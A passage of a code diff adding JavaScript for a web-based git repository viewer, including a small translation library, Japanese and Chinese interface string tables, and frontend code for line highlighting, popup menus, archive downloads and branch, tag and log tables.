+      };
+      return this.globalContext = {};
+    };
+
+    Translator.prototype.resetData = function() {
+      return this.data = {
+        values: {},
+        contexts: []
+      };
+    };
+
+    Translator.prototype.resetContext = function() {
+      return this.globalContext = {};
+    };
+
+    Translator.prototype.translateHash = function(hash, context) {
+      var k, v;
+
+      for (k in hash) {
+        v = hash[k];
+        if (typeof v === "string") {
+          hash[k] = this.translateText(v, null, null, context);
+        }
+      }
+      return hash;
+    };
+
+    Translator.prototype.translateText = function(text, num, formatting, context, defaultText) {
+      var contextData, result;
+
+      if (context == null) {
+        context = this.globalContext;
+      }
+      if (this.data == null) {
+        return this.useOriginalText(defaultText || text, num, formatting);
+      }
+      contextData = this.getContextData(this.data, context);
+      if (contextData != null) {
+        result = this.findTranslation(text, num, formatting, contextData.values, defaultText);
+      }
+      if (result == null) {
+        result = this.findTranslation(text, num, formatting, this.data.values, defaultText);
+      }
+      if (result == null) {
+        return this.useOriginalText(defaultText || text, num, formatting);
+      }
+      return result;
+    };
+
+    Translator.prototype.findTranslation = function(text, num, formatting, data) {
+      var result, triple, value, _i, _len;
+
+      value = data[text];
+      if (value == null) {
+        return null;
+      }
+      if (num == null) {
+        if (typeof value === "string") {
+          return this.applyFormatting(value, num, formatting);
+        }
+      } else {
+        if (value instanceof Array || value.length) {
+          for (_i = 0, _len = value.length; _i < _len; _i++) {
+            triple = value[_i];
+            if ((num >= triple[0] || triple[0] === null) && (num <= triple[1] || triple[1] === null)) {
+              result = this.applyFormatting(triple[2].replace("-%n", String(-num)), num, formatting);
+              return this.applyFormatting(result.replace("%n", String(num)), num, formatting);
+            }
+          }
+        }
+      }
+      return null;
+    };
+
+    Translator.prototype.getContextData = function(data, context) {
+      var c, equal, key, value, _i, _len, _ref, _ref1;
+
+      if (data.contexts == null) {
+        return null;
+      }
+      _ref = data.contexts;
+      for (_i = 0, _len = _ref.length; _i < _len; _i++) {
+        c = _ref[_i];
+        equal = true;
+        _ref1 = c.matches;
+        for (key in _ref1) {
+          value = _ref1[key];
+          equal = equal && value === context[key];
+        }
+        if (equal) {
+          return c;
+        }
+      }
+      return null;
+    };
+
+    Translator.prototype.useOriginalText = function(text, num, formatting) {
+      if (num == null) {
+        return this.applyFormatting(text, num, formatting);
+      }
+      return this.applyFormatting(text.replace("%n", String(num)), num, formatting);
+    };
+
+    Translator.prototype.applyFormatting = function(text, num, formatting) {
+      var ind, regex;
+
+      for (ind in formatting) {
+        regex = new RegExp("%{" + ind + "}", "g");
+        text = text.replace(regex, formatting[ind]);
+      }
+      return text;
+    };
+
+    return Translator;
+
+  })();
+
+  translator = new Translator();
+
+  i18n = translator.translate;
+
+  i18n.translator = translator;
+
+  i18n.create = function(data) {
+    var trans;
+
+    trans = new Translator();
+    if (data != null) {
+      trans.add(data);
+    }
+    trans.translate.create = i18n.create;
+    return trans.translate;
+  };
+
+  (typeof module !== "undefined" && module !== null ? module.exports = i18n : void 0) || (this.i18n = i18n);
+
+}).call(this);
+
+var lang_ja = "{" +
+  "\"values\":{" +
+    "\"Summary\": \"概要\"," +
+    "\"Log\": \"ログ\"," +
+    "\"Tree\": \"木構造\"," +
+    "\"Blame\": \"責任\"," +
+    "\"Copy Lines\": \"コピーライン\"," +
+    "\"Copy Link\": \"リンクをコピーする\"," +
+    "\"View Blame\": \"責任がある\"," +
+    "\"Remove Blame\": \"責任を取り除く\"," +
+    "\"Mode\": \"モード\"," +
+    "\"Size\": \"サイズ\"," +
+    "\"Name\": \"名\"," +
+    "\"s\": \"秒\"," +
+    "\"m\": \"分\"," +
+    "\"h\": \"時間\"," +
+    "\" days\": \"日々\"," +
+	"\" weeks\": \"週\"," +
+	"\" months\": \"数ヶ月\"," +
+	"\" years\": \"年\"," +
+	"\"Branch Snapshot\": \"ブランチスナップショット\"," +
+	"\"Tag Snapshot\": \"タグスナップショット\"," +
+	"\"Commit Snapshot\": \"スナップショットをコミットする\"," +
+	"\"Description\": \"説明\"," +
+	"\"Owner\": \"オーナー\"," +
+	"\"Branch\": \"ブランチ\"," +
+	"\"Tag\": \"タグ\"," +
+	"\"Author\": \"著者\"," +
+	"\"Age\": \"年齢\"," +
+	"\"Page fetched\": \"ページを取得した\"," +
+	"\"creation time\": \"作成時間\"," +
+	"\"created\": \"作成した\"," +
+	"\"ago\": \"前\"," +
+	"\"Message\": \"メッセージ\"," +
+	"\"Download\": \"ダウンロード\"," +
+	"\"root\": \"ルート\"," +
+	"\"Committer\": \"コミッター\"," +
+	"\"Raw Patch\": \"生パッチ\"," +
+	"\"Page fetched %{pf} ago, creation time: %{ct}ms " +
+ 	   "(vhost etag hits: %{ve}%, cache hits: %{ch}%)\": " +
+ 	"\"%{pf}間前に取得されたページ, 作成にかかった時間: %{ct}ms " +
+ 	   "(vhost etag キャッシュヒット: %{ve}%, キャッシュヒット: %{ch}%)\"," +
+ 	"\"Created %{pf} ago, creation time: %{ct}ms \":" +
+ 	   "\"%{pf}間前に作成されました, 作成にかかった時間: %{ct}ms\"" +
+  "}}";
+
+var lang_zht = "{" +
+"\"values\":{" +
+  "\"Summary\": \"概要\"," +
+  "\"Log\": \"日誌\"," +
+  "\"Tree\": \"樹\"," +
+  "\"Blame\": \"責怪\"," +
+  "\"Copy Lines\": \"複製線\"," +
+  "\"Copy Link\": \"複製鏈接\"," +
+  "\"View Blame\": \"看責怪\"," +
+  "\"Remove Blame\": \"刪除責怪\"," +
+  "\"Mode\": \"模式\"," +
+  "\"Size\": \"尺寸\"," +
+  "\"Name\": \"名稱\"," +
+  "\"s\": \"秒\"," +
+  "\"m\": \"分鐘\"," +
+  "\"h\": \"小時\"," +
+  "\" days\": \"天\"," +
+  "\" weeks\": \"週\"," +
+  "\" months\": \"個月\"," +
+  "\" years\": \"年份\"," +
+  "\"Branch Snapshot\": \"科快照\"," +
+  "\"Tag Snapshot\": \"标签快照\"," +
+  "\"Commit Snapshot\": \"提交快照\"," +
+  "\"Description\": \"描述\"," +
+  "\"Owner\": \"所有者\"," +
+  "\"Branch\": \"科\"," +
+  "\"Tag\": \"標籤\"," +
+  "\"Author\": \"作者\"," +
+  "\"Age\": \"年齡\"," +
+  "\"Page fetched\": \"頁面已獲取\"," +
+  "\"creation time\": \"創作時間\"," +
+  "\"created\": \"創建\"," +
+  "\"ago\": \"前\"," +
+  "\"Message\": \"信息\"," +
+  "\"Download\": \"下載\"," +
+  "\"root\": \"根源\"," +
+  "\"Committer\": \"提交者\"," +
+  "\"Raw Patch\": \"原始補丁\"," +
+  "\"Page fetched %{pf} ago, creation time: %{ct}ms " +
+  	   "(vhost etag hits: %{ve}%, cache hits: %{ch}%)\": " +
+  	"\"頁面%{pf}前獲取, 創作時間: %{ct}ms " +
+  	   "(vhost etag 緩存命中: %{ve}%, 緩存命中: %{ch}%)\"," +
+  "\"Created %{pf} ago, creation time: %{ct}ms \":" +
+  	"\"%{pf}前創建, 創作時間: %{ct}ms \"" +
+"}}";
+
+var lang_zhs = "{" +
+"\"values\":{" +
+  "\"Summary\": \"概要\"," +
+  "\"Log\": \"日志\"," +
+  "\"Tree\": \"木\"," +
+  "\"Blame\": \"归咎\"," +
+  "\"Copy Lines\": \"复制线\"," +
+  "\"Copy Link\": \"复制链接\"," +
+  "\"View Blame\": \"看责备\"," +
+  "\"Remove Blame\": \"删除责备\"," +
+  "\"Mode\": \"模式\"," +
+  "\"Size\": \"尺寸\"," +
+  "\"Name\": \"名称\"," +
+  "\"s\": \"秒\"," +
+  "\"m\": \"分钟\"," +
+  "\"h\": \"小时\"," +
+  "\" days\": \"天\"," +
+  "\" weeks\": \"周\"," +
+  "\" months\": \"个月\"," +
+  "\" years\": \"年份\"," +
+  "\"Branch Snapshot\": \"科快照\"," +
+  "\"Tag Snapshot\": \"标签快照\"," +
+  "\"Commit Snapshot\": \"提交快照\"," +
+  "\"Description\": \"描述\"," +
+  "\"Owner\": \"所有者\"," +
+  "\"Branch\": \"科\"," +
+  "\"Tag\": \"标签\"," +
+  "\"Author\": \"作者\"," +
+  "\"Age\": \"年龄\"," +
+  "\"Page fetched\": \"页面已获取\"," +
+  "\"creation time\": \"创作时间\"," +
+  "\"created\": \"创建\"," +
+  "\"ago\": \"前\"," +
+  "\"Message\": \"信息\"," +
+  "\"Download\": \"下载\"," +
+  "\"root\": \"根源\"," +
+  "\"Committer\": \"提交者\"," +
+  "\"Raw Patch\": \"原始补丁\"," +
+  "\"Page fetched %{pf} ago, creation time: %{ct}ms " +
+	   "(vhost etag hits: %{ve}%, cache hits: %{ch}%)\": " +
+	"\"页面%{pf}前获取, 创作时间: %{ct}ms " +
+	   "(vhost etag 缓存命中: %{ve}%, 缓存命中: %{ch}%)\"," +
+   "\"Created %{pf} ago, creation time: %{ct}ms \":" +
+	  	"\"%{pf}前创建, 创作时间: %{ct}ms \"" +	   
+"}}";
+
+
+(function () {
+	
+function san(s)
+{
+	if (!s)
+		return "";
+
+	return s.replace(/&/g, "&amp;").
+		     replace(/\</g, "&lt;").
+		     replace(/\>/g, "&gt;").
+			 replace(/\"/g, "&quot;").
+			 replace(/%/g, "&#37;");
+}
+
+function san_nq(s)
+{
+	if (!s)
+		return "";
+
+	return s.replace(/&/g, "&amp;").
+		     replace(/</g, "&lt;&#8203;").
+		     replace(/>/g, "&gt;").
+			 replace(/%/g, "&#37;");
+}
+
+var burger, menu_popup, j_avatar, menu_popup_archive, jf, blog_mode = 0;
+
+function collect_offsetTop(e1)
+{
+	var t = 0;
+
+	while (e1) {
+		if (e1.offsetTop)
+			t += e1.offsetTop;
+		e1 = e1.offsetParent;
+	}
+
+	return t;
+}
+
+function collect_offsetLeft(e1)
+{
+	var t = 0;
+
+	while (e1) {
+		if (e1.offsetLeft)
+			t += e1.offsetLeft;
+		e1 = e1.offsetParent;
+	}
+
+	return t;
+}
+
+function find_parent_of_type(e, type)
+{
+	while (e.tagName.toLowerCase() != type)
+		e = e.parentNode;
+
+	return e;
+}
+
+function parse_hashurl_start(h)
+{
+	return parseInt(h.substring(2));
+}
+
+function parse_hashurl_end(h, start)
+{
+	var t = h.indexOf("-"), e = start;
+
+	if (t >= 1)
+		e = parseInt(h.substring(t + 1));
+
+	if (e < start)
+		e = start;
+
+	return e;
+}
+
+
+/*
+ * This creates an absolute div as a child of the content table.
+ * It's horizontally and vertically aligned and sized according
+ * to the #URL information like #n123-456
+ * 
+ * If the highlight div already exists, it's removed and remade.
+ */
+
+function line_range_highlight(do_burger)
+{
+	var h = window.location.hash, l1 = 0, l2 = 0, e, t;
+
+	e = document.getElementById("sel-line-range");
+	if (e) {
+		l1 = e.l1;
+
+		while (l1 <= e.l2) {
+			var e1;
+			e1 = document.getElementById('n' + l1++);
+				e1.classList.remove(
+					'selected-line-link-highlight');
+		}
+
+		e.remove();
+	}
+
+	l1 = parse_hashurl_start(h);
+	if (!l1)
+		return;
+
+	l2 = parse_hashurl_end(h, l1);
+
+	var lh, etable, etr, de, n, hl, v;
+
+	e = document.getElementById('n' + l1);
+	if (!e)
+		return;
+
+	if (do_burger)
+		burger_create(e);
+
+	de = document.createElement("DIV");
+
+	de.className = "selected-lines";
+	de.style.bottom = e.style.bottom;
+	de.style.top = collect_offsetTop(e) + 'px';
+	de.id = "sel-line-range";
+	de.l1 = l1;
+	de.l2 = l2;
+
+	/* we will tack the highlight div at the parent tr */
+	etr = find_parent_of_type(e, "tbody");
+
+	de.style.width = etr.offsetWidth + 'px';
+
+	/* the table is offset from the left, the highlight needs to follow it */
+	etable = find_parent_of_type(etr, "table");
+	//de.style.left = etable.offsetLeft + 'px';
+	de.style.height = ((l2 - l1 + 1) * e.offsetHeight) + 'px';
+
+	etr.insertBefore(de, etr.firstChild);
+
+	setTimeout(function() {
+		de.style.backgroundColor = "rgba(255, 255, 0, 0.2)";
+	}, 1);
+
+	n = l1;
+	while (n <= l2)
+		document.getElementById('n' + n++).classList.add(
+					'selected-line-link-highlight');
+
+	hl = (window.innerHeight / (e.offsetHeight + 1));
+	v = (l1 + ((l2 - l1) / 2)) - (hl / 2);
+	if (v > l1)
+		v = l1;
+	if (v < 1)
+		v = 1;
+
+	t = document.getElementById('n' + Math.round(v));
+	if (!t)
+		t = e;
+
+	t.scrollIntoView(true);
+}
+
+function copy_clipboard(value, e)
+{
+	var inp = document.createElement("textarea");
+
+	inp.type = "text";
+	inp.value = value;
+	/* hidden style stops it working for clipboard */
+	inp.setAttribute('readonly', '');
+	inp.style.position = "absolute";
+	inp.style.left = "-1000px";
+
+	e.appendChild(inp);
+
+	inp.select();
+
+	document.execCommand("copy");
+
+	inp.remove();
+}
+
+/* we want to copy plain text for a line range */
+
+function copy_text(elem, l1, l2)
+{
+	var tc = elem.textContent.split('\n'), s = "";
+
+	l1 --;
+
+	while (l1 < l2)
+		s += tc[l1++] + '\n';
+
+	copy_clipboard(s, document.getElementById("jglinenumbers"));
+}
+
+
+/*
+ * An element in the popup menu was clicked, perform the appropriate action
+ */
+function mi_click(e) {
+	var u, n, l1, l2, el;
+
+	e.stopPropagation();
+	e.preventDefault();
+	
+	u = "";
+	if (window.location.hash.length)
+		u = window.location.hash;
+
+	switch (e.target.id) {
+	case "mi-c-line":
+		l1 = parse_hashurl_start(window.location.hash);
+		l2 = parse_hashurl_end(window.location.hash, l1);
+		el = document.getElementsByClassName("doc")[0].firstChild.firstChild;
+		copy_text(el, l1, l2);
+		break;
+	case "mi-c-link":
+		copy_clipboard(window.location.href, document.getElementById("jglinenumbers"));
+		break;
+	case "mi-c-blame":
+		window.location = makeurl(reponame, "blame", rpath, qbranch, qid, qofs) + u;
+		break;
+	case "mi-c-tree":
+		window.location = makeurl(reponame, "tree", rpath, qbranch, qid, qofs) + u;
+		break;
+	}
+
+	if (!menu_popup)
+		return;
+
+	menu_popup.remove();
+	menu_popup = null;
+}
+
+/* We got a click on the (***) burger menu */
+
+function burger_click(e) {
+	var e1 = e, etable, d = new Date, s = "", n, is_blame,
+	    ar = new Array("mi-c-line", "mi-c-link", "mi-c-blame", "mi-c-tree"),
+	    an = new Array(i18n("Copy Lines"), i18n("Copy Link"),
+	    		i18n("View Blame"), /* 2: shown in /tree/ */
+	    		i18n("Remove Blame") /* 3: shown in /blame/ */);
+
+	e.preventDefault();
+
+	if (menu_popup) {
+		menu_popup.remove();
+		menu_popup = null;
+
+		return;
+	}
+
+	/*
+	 * Create the popup menu
+	 */
+
+	is_blame = !!rmode && rmode == "blame";
+
+	menu_popup = document.createElement("DIV");
+	menu_popup.className = "popup-menu";
+	menu_popup.style.top = collect_offsetTop(e1) + e.offsetHeight + "px";
+
+	s = "<ul id='menu-ul'>";
+	for (n = 0; n < an.length; n++)
+		if (n < 2 || is_blame == (n == 3))
+			s += "<li id='" + ar[n] + "' tabindex='" + n + "'>" +
+				an[n] + "</li>";
+		    
+	menu_popup.innerHTML = s;
+
+	burger.insertBefore(menu_popup, null);
+
+        document.getElementById(ar[0]).focus();
+	for (n = 0; n < an.length; n++)
+		if (n < 2 || is_blame == (n == 3))
+			document.getElementById(ar[n]).
+				addEventListener("click", mi_click);
+				
+	setTimeout(function() {
+		menu_popup.style.opacity = "1";
+	}, 1);
+
+	/* detect loss of focus for popup menu */
+	menu_popup.addEventListener("focusout", function(e) {
+		/* if focus went to a child (menu item), ignore */
+		if (e.relatedTarget &&
+		    e.relatedTarget.parentNode.id == "menu-ul")
+			return;
+
+		menu_popup.remove();
+		menu_popup = null;
+	});
+}
+
+function burger_create(e)
+{
+	var e1 = e, etable, d = new Date;
+
+	if (burger)
+		burger.remove();
+
+	burger = document.createElement("DIV");
+	burger.className = "burger";
+	burger.style.top = collect_offsetTop(e1) + "px";
+
+	/* event listener cannot override default browser #URL behaviour */
+	burger.onclick = burger_click;
+
+	etable = find_parent_of_type(e, "table");
+	etable.insertBefore(burger, etable.firstChild);
+	burger_time = d.getTime();
+
+	setTimeout(function() {
+		burger.style.opacity = "1";
+	}, 1);
+}
+
+/*
+ * We got a click on a line number #url
+ *
+ * Create the "burger" menu there.
+ *
+ * Redraw the line range highlight accordingly.
+ */
+
+function line_range_click(e) {
+	var t, elem, m, n = window.location.href.length -
+			    window.location.hash.length;
+
+	/* disable passthru to stop scrolling by browser #URL handler */
+	e.stopPropagation();
+	e.preventDefault();
+
+	if (!e.target.id)
+		return;
+
+	if (menu_popup) {
+		menu_popup.remove();
+		menu_popup = null;
+
+		return;
+	}
+	
+	if (e.target.id == "jglinenumbers")
+		return;
+
+	elem = document.getElementById(e.target.id);
+	if (!elem)
+		return;
+
+	burger_create(elem);
+
+	if (!window.location.hash ||
+	    window.location.hash.indexOf("-") >= 0 ||
+	    e.target.id.substring(1) == window.location.href.substring(n + 2))
+		t = window.location.href.substring(0, n) +
+		    '#n' + e.target.id.substring(1);
+	else {
+		if (parseInt(window.location.hash.substring(2)) <
+		    parseInt(e.target.id.substring(1)))  /* forwards */
+			t = window.location + '-' + e.target.id.substring(1);
+		else
+			t = window.location.href.substring(0, n) +
+				'#n' + e.target.id.substring(1) + '-' +
+				window.location.href.substring(n + 2);
+	}
+
+	window.history.replaceState(null, null, t);
+
+	line_range_highlight(0);
+}
+
+function get_appropriate_ws_url(extra_url)
+{
+	var pcol;
+	var u = document.URL;
+
+	/*
+	 * We open the websocket encrypted if this page came on an
+	 * https:// url itself, otherwise unencrypted
+	 */
+
+	if (u.substring(0, 5) == "https") {
+		pcol = "wss://";
+		u = u.substr(8);
+	} else {
+		pcol = "ws://";
+		if (u.substring(0, 4) == "http")
+			u = u.substr(7);
+	}
+
+	u = u.split('/');
+
+	/* + "/xxx" bit is for IE10 workaround */
+
+	return pcol + u[0] + "/" + extra_url;
+}
+
+var age_names = [  "s",  "m",    "h", " days", " weeks", " months", " years" ];
+var age_div =   [   1,   60,   3600,   86400,   604800,   2419200,  31536000  ];
+var age_limit = [ 120, 7200, 172800, 1209600,  4838400,  63072000,         0  ];
+var age_upd   = [   5,   10,    300,    1800,     3600, 12 * 3600, 12 * 3600  ];
+
+function agify(now, secs)
+{
+	var d = now - secs, n;
+	
+	if (!secs)
+		return "";
+	
+	for (n = 0; n < age_names.length; n++)
+		if (d < age_limit[n] || age_limit[n] == 0)
+			return "<span class='age-" + n + "' ut='" + secs +
+				"'>" + Math.ceil(d / age_div[n]) +
+				i18n(age_names[n]) + "</span>";
+}
+
+function aging()
+{
+        var n, next = 24 * 3600,
+            now_ut = Math.round((new Date().getTime() / 1000));
+
+        for (n = 0; n < age_names.length; n++) {
+                var m, elems = document.getElementsByClassName(
+                				"age-" + n), ne = elems.length,
+                				a = new Array(), ee = new Array();
+
+                if (elems.length && age_upd[n] < next)
+                        next = age_upd[n];
+
+                for (m = 0; m < ne; m++) {
+                        var e = elems[m], secs = elems[m].getAttribute("ut");
+
+                        a.push(agify(now_ut, secs));
+                        ee.push(e);
+                }
+                
+                for (m = 0; m < ee.length; m++) {
+                	ee[m].innerHTML = a[m]; 
+                }
+        }
+
+        /*
+         * We only need to come back when the age might have changed.
+         * Eg, if everything is counted in hours already, once per
+         * 5 minutes is accurate enough.
+         */
+
+        window.setTimeout(aging, next * 1000);
+}
+
+
+function comp_reftime(a, b)
+{
+	return b.summary.time - a.summary.time;
+}
+
+function comp_reftime_tag(a, b)
+{
+	return b.summary.time - a.summary.time;
+}
+
+var loca;
+
+function tz_date(ut, z)
+{
+	var d = new Date((ut) * 1000);
+	
+	if (loca) {
+		var options = { weekday: 'long', year: 'numeric', month: 'long',
+						day: 'numeric', hour: 'numeric', minute: 'numeric',
+						second: 'numeric'};
+
+		return d.toLocaleDateString(loca, options);
+	}
+	
+	return d;
+}
+
+function identity_av_base(i)
+{
+	var em;
+	
+	if (j_avatar != "//www.gravatar.com/avatar/") {
+		em = j_avatar + i.md5 + "_avatar";
+	} else
+		em = j_avatar + i.md5 + "?s=128&amp;d=retro";
+	
+	return em;
+}
+
+function identity_img(i, size)
+{
+	var v = identity_av_base(i);
+	
+	return "<img class=\"inline-identity\" src=\"" + v + "\" alt=\"[]\" />";
+}
+
+function identity(i, size, parts)
+{
+	var s = "", em;
+
+	if (!i || !i.email || !i.md5)
+		return "";
+
+	if (!!parts)
+		s = "<span class='identity'>";
+	
+	s += "<a class='grav-mailto' href='mailto:" + san(i.email) + "'>" +
+	
+		"<span class=gravatar" + size + " alt='" + san(i.email) +
+		"'>" +
+		identity_img(i, size) +
+		"<img class='onhover' src='" + identity_av_base(i) +
+		"'/>";
+
+	if (parts & 1)
+		s += san(decodeURIComponent(i.name));
+	
+	s += "</span></a>";
+	
+	if (parts & 2)
+		s += " <span>&lt;" + san(i.email) + "&gt;</span>";
+	
+	if (parts & 4)
+		s += " <span>" + tz_date(i.git_time.time, i.git_time.offset) +
+		     "</span>";
+	
+	if (!!parts)
+		s += "</span>";
+	
+	return s;
+}
+
+function new_ws(urlpath, protocol)
+{
+	if (typeof MozWebSocket != "undefined")
+		return new MozWebSocket(urlpath, protocol);
+
+	return new WebSocket(urlpath, protocol);
+}
+
+var branches = new(Array), tags = new(Array), relpre_no_mode, relpost,
+				vpath, reponame, rmode, rpath, qbranch, qid, qofs;
+
+function makeurl(_reponame, _mode, _rpath, _qbranch, _qid, _qofs)
+{
+	var base = window.location.pathname, c = '?', b = vpath;
+
+	if (_reponame && b[0] != '/')
+		b += '/';
+	if (_reponame)
+		b += _reponame;
+	if (_mode)
+		b += '/' + _mode;
+	if (_rpath && _rpath != null)
+		b += '/' + _rpath;
+	
+	if (_qbranch) {
+		b += '?h=' + _qbranch;
+		c = '&';
+	}
+	
+	if (_qid) {
+		b += c + 'id=' + _qid;
+		c = '&';
+	}
+	
+	if (_qofs) {
+		b += c + 'ofs=' + _qofs;
+		c = '&';
+	}
+
+	return san(b);
+}
+
+function aliases(oid)
+{
+	var irefs = "";
+
+	for (m = 0; m < oid.alias.length; m++) {
+		r = oid.alias[m];
+
+		if (r.substr(0, 11) == "refs/heads/")
+			irefs += " <span class='inline-branch'>" +
+					"<table><tr><td class='tight'>" +
+					"<img class='branch' tgt='" +
+				san(reponame) + "-" + san(r.substr(11)) +
+				"' mtitle='"+
+				"<div class=\"putt1\"><img class=\"branch\"></div>" +
+				"<div class=\"putt2\">" + i18n("Branch Snapshot") + "</div>" +
+				"<div class=\"putt3\"><img class=\"archive\"></div>'>" +
+				"</td><td class='tight'><span>" +
+				r.substr(11) + "</span></td></tr></table></span>";
+		else
+			if (r.substr(0, 10) == "refs/tags/")
+				irefs += " <span class='inline_tag'>" +
+						 "<div class='alias'>" +
+						 "<img class='tag oneem' tgt='" + san(reponame) + "-" +
+						 san(r.substr(10)) +
+							"' mtitle='"+
+							"<div class=\"putt1\"><img class=\"tag\"></div>" +
+							"<div class=\"putt2\">" + i18n("Tag Snapshot") + "</div>" +
+							"<div class=\"putt3\"><img class=\"archive\"></div>'>" +
+							"&nbsp;" +
+						 r.substr(10) + "</div></span>";
+	}
+	
+	return irefs;
+}
+
+function arch_select_handler(e)
+{
+	var suff, b, newloc = vpath;
+
+	e.stopPropagation();
+	e.preventDefault();
+	
+    if (!vpath || vpath[vpath.length - 1] != '/')
+        newloc += '/';
+
+	newloc += reponame;
+	if (reponame[reponame.length - 1] != '/')
+	        newloc += '/';
+	newloc += "snapshot/" + e.target.textContent;
+	// console.log(newloc);
+	window.location = newloc;
+
+
+	if (!menu_popup_archive)
+		return;
+
+	menu_popup_archive.remove();
+	menu_popup_archive = null;
+}
+
+function create_popup(t, h_px, v_px, clas, title, wid, an, ar, clicker)
+{
+	var pop, s = "", n;
+	
+	pop = document.createElement("DIV")
+
+	pop.className = clas;
+	pop.style.top = v_px + "px";
+	if (h_px)
+		pop.style.left = h_px + "px";
+	
+	if (wid)
+		pop.style.width = wid + "px";
+
+	
+	if (title)
+		s += "<div class='popalias'>" +
+			title + "</div>";
+	
+	if (an.length) {
+
+		s += "<div><ul id='menu-ul'>";
+	
+		for (n = 0; n < an.length; n++)
+				s += "<li id='" + ar[n] + "' tabindex='" + n + "'>" +
+					an[n] + "</li>";
+		
+		s += "</ul></div>";
+		
+	}
+		    
+	pop.innerHTML = s;
+	t.parentNode.appendChild(pop, null);
+
+	if (an.length) {
+		document.getElementById(ar[0]).focus();
+		for (n = 0; n < an.length; n++)
+			document.getElementById(ar[n]).addEventListener(
+											"click", clicker, false);
+	}
+	setTimeout(function() {
+		pop.style.opacity = "1";
+	}, 1);
+
+	/* detect loss of focus for popup menu */
+	pop.addEventListener("focusout", function(e) {
+		/* if focus went to a child (menu item), ignore */
+		if (e.relatedTarget &&
+		    e.relatedTarget.parentNode.id == "menu-ul")
+			return;
+
+		pop.remove();
+		pop = null;
+	});
+
+	return pop;
+}
+
+function archive_click(t)
+{
+	var v = collect_offsetTop(t.target), tgt, title, h;
+	
+	if (menu_popup_archive) {
+		menu_popup_archive.remove();
+		menu_popup_archive = null;
+		
+		return;
+	}
+	
+	if (t.target.offsetHeight)
+		v += t.target.offsetHeight;
+	
+	h = collect_offsetLeft(t.target) + t.target.offsetWidth;
+	
+	tgt = t.target.getAttribute("tgt");
+	title = t.target.getAttribute("mtitle");
+	
+	menu_popup_archive =
+		create_popup(t.target, h, v, "popup-menu", title,  null,
+				[ tgt + ".tar.gz", tgt + ".tar.bz2",
+				  tgt + ".tar.xz", tgt + ".zip" ],
+				[    "gz",      "bz2",     "xz", "zip" ],
+					 arch_select_handler);
+}
+
+function clonecopy_click(t)
+{
+	copy_clipboard("git clone " + san(j.url), t.target);
+}
+
+function patch_archive(oid, n)
+{
+	return "<span><img id='idpa" + n + "' class='patch' tgt='" +
+		san(reponame) + "-" + oid +
+		"' mtitle='"+
+		"<div class=\"putt1\"><img class=\"patch\"></div>" +
+		"<div class=\"putt2\">" + i18n("Commit Snapshot") + "</div>" +
+		"<div class=\"putt3\"><img class=\"archive\"></div>'>" +
+		"</span>";
+}
+
+function html_branches(now, count)
+{
+	var s = "", n;
+
+	s += "<tr><td><table><tr>" +
+		"<td class='heading' colspan='2'>" + i18n("Branch") +
+		"</td><td class='heading'>" + i18n("Message") +
+		"</td><td class='heading'>" + i18n("Author") +
+		"</td><td class='heading'>" + i18n("Age") +
+		"</td><td></td></tr>";
+
+	for (n = 0; n < branches.length && n < count; n++)
+		s += "<tr><td>"+
+			 "<div><img id='idsb" + n +
+			 	"' class='branch' tgt='" +
+				san(reponame) + "-" + san(branches[n].name.substr(11)) +
+				"' mtitle='"+
+				"<div class=\"putt1\"><img class=\"branch\"></div>" +
+				"<div class=\"putt2\">" + i18n("Branch Snapshot") + "</div>" +
+				"<div class=\"putt3\"><img class=\"archive\"></div>'>" +
+			 "</td><td><a href=\"" +
+			makeurl(reponame, "tree", rpath, branches[n].name.substr(11),
+					qid, qofs) + "\">" + branches[n].name.substr(11) + "</a>" +
+		    "</td><td>" + san(branches[n].summary.msg) +
+		    "</td><td>" + identity(branches[n].summary.sig_author, 16, 1) +
+		    "</td><td>" + agify(now, branches[n].summary.time) +
+		    "</td></tr>";
+	
+	if (n == count)
+		s += "<tr><td colspan=5><a href=\"" +
+			makeurl(reponame, "branches", rpath, qbranch, null, null) +
+			"\">[...]</a></td></tr>";
+	
+	s += "</table></td></tr>";
+
+	return s;
+}
+
+function html_tags(now, count)
+{
+	var s = "", n;
+	
+	if (!tags.length)
+		return "";
+	
+	s += "<tr><td><table><tr><td class='heading' colspan='2'>" + i18n("Tag") +
+    "</td><td class='heading'>" + i18n("Message") +
+    "</td><td class='heading'>" + i18n("Author") +
+    "</td><td class='heading'>" + i18n("Age") +
+    "</td><td>" +
+    "</td></tr>";
+
+	for (n = 0; n < tags.length && n < count; n++) {
+		
+		var mm = tags[n].summary.msg_tag;
+		//if (!mm)
+			//mm = tags[n].summary.msg;
+		
+		if (tags[n].summary && tags[n].summary.oid && tags[n].summary.oid.oid) {
+		
+		s += "<tr><td>" +
+			"<span><img id='idst" + n + "' class='tag' tgt='" +
+				san(reponame) + "-" + san(tags[n].name.substr(10)) +
+				"' mtitle='"+
+				"<div class=\"putt1\"><img class=\"tag\"></div>" +
+				"<div class=\"putt2\">" + i18n("Tag Snapshot") + "</div>" +
+				"<div class=\"putt3\"><img class=\"archive\"></div>'>" +
+				"</span></td><td><a href=\"" +
+			makeurl(reponame, "tree", rpath, qbranch,
+				tags[n].summary.oid.oid, qofs) + "\">" +
+				tags[n].name.substr(10) + "</a>" +
+		"</td><td>" + san(mm) +
+		"</td><td>" + identity(tags[n].summary.sig_tagger, 16, 1) +
+	    "</td><td>" + agify(now, tags[n].summary.time) +
+	    "</td></tr>";
+	}
+	}
+	
+	if (n == count)
+		s += "<tr><td colspan=5><a href=\"" +
+		makeurl(reponame, "tags", rpath, qbranch, null, null) +
+		"\">[...]</a></td></tr>";
+	
+	s += "</table></td></tr>";
+
+	return s;
+}
+
+function html_log(l, now, count, next)
+{
+	var s = "", n;
+
+	s += "<table><tr><td class='heading'>" +
+    "</td><td class='heading'>" + i18n("Message") +
+    "</td><td class='heading'>" + i18n("Author") +
+    "</td><td class='heading'>" + i18n("Age") +
+    "</td><td class='heading'>" +
+    "</td></tr>";
+
+	if (!l) {
+		console.log("html_log: null l\n");
+		return;
+	}	
+	
+	for (n = 0; n < l.length && n < count; n++) {
+		var irefs = "", m, r, c;
+		
+		irefs = aliases(l[n].name);
+		
+		s += "<tr><td>" + 
+		"</td><td class='logmsg'>" + patch_archive(l[n].name.oid, n) + " <a href=\"" +
+		    makeurl(reponame, "commit", rpath, null, l[n].name.oid, qofs) +
+		    "\">" + san(l[n].summary.msg) + "</a>" + irefs +
+		"</td><td>" + identity(l[n].summary.sig_author, 16, 1) +
+	     "</td><td>" + agify(now, l[n].summary.time) +
+	     "</td><td>" + //j.items[1].log[n].name.substr(10) +
+	     "</td></tr>";
+	}
+	
+	if (next && n == count) {
+		s += "<tr><td colspan=5><a href='"+
